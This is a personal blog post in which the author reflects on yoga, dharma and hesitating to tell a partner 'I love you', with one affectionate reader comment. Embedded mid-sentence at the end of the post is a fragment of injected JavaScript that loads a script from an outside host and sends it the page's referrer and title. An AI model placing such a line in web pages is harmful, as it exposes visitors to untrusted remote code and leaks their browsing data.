One little word…

How is it that one little word can produce so much anxiety, excitement, joy, sadness, peace, and hatred.  For the past few weeks, I have been thinking of this word, more specifically this one sentence, roughly 75% of the time.  It plays out in my head over and over and I almost feel like I say it out loud, one time I think I did say it to him but it could have just been a dream… This sentence has never given me so much anxiety in the past.  I think that yoga is to blame…
If any of you have just started a training course or begun to deepen your yoga off the matt then maybe you can relate.  Now that I look at the world through energetic  or “yogic” lenses ways I feel much more in tune with my dharma.  Before I might have felt the need to say “it” to realize anxiety.  I think I thought that it would make everything perfect or make some of the “not so perfect” better.  Because when you have this…. then life is perfect…  Right?  So connecting with my dharmic path has allowed me to realize and let go of some of the anxiety and just be in the moment.  Trusting that each moment we are given is a time to make choices and that if we connect with that sensation of making a choices that is so pure and true then we made the choices that is right for our dharmic path.  So how does this relate to my hesitation?

All I know is that I feel this overwhelming desire to say “it” but in the moment, my teeth clench up and  I  hesitate.  I’m scared.  Ahh but I am who I am and I feel how I feel so just because I have said it before shouldn’t mean that I should hesitate now.  Nor does it mean that I don’t truly feel it.  I do love him..  And when he left today I felt this crazy desire to tell him because I wanted him to know.  I wanted him to hear it and know that I felt that way about him.  But I didn’t.  And truth be told, I actually think that I wasn’t following my dharma but listening to my fears instead.  Its my heart that can only say and mean these words and if my head won’t let my heart speak then the words won’t be uttered.  But I will say this… he makes my whole body tingle and when he is around I feel fluttery.  Like butterflies are on my chest and tickling my insides.  When he turns away from me to sleep at night, I stare at his back and lightly brush my nose on the nap of his neck.  I love that place.  I just want to throw my arms around him and squeeze him till he pops!  Sometimes I go into spontaneous laughter because of how happy I am and how awesome it feels to be in this relationship.  I giggle like a 7 year old girl sometimes.  Its great.. It brings my inner child a lot of happiness.  Actually, I have a slight urge to go into laughter at this moment… He is what makes me smile and I do see a future with him.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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One Response to “One little word…”

  1. semantic database on May 23rd, 2008 9:53 am

    I love it when you go into spontaneous laughter and giggle like a 7 year old. It makes me want to giggle too, and hold you and squeeze you and love you…

    I do see a future with you too. The future starts now!

    Come back to me soon!

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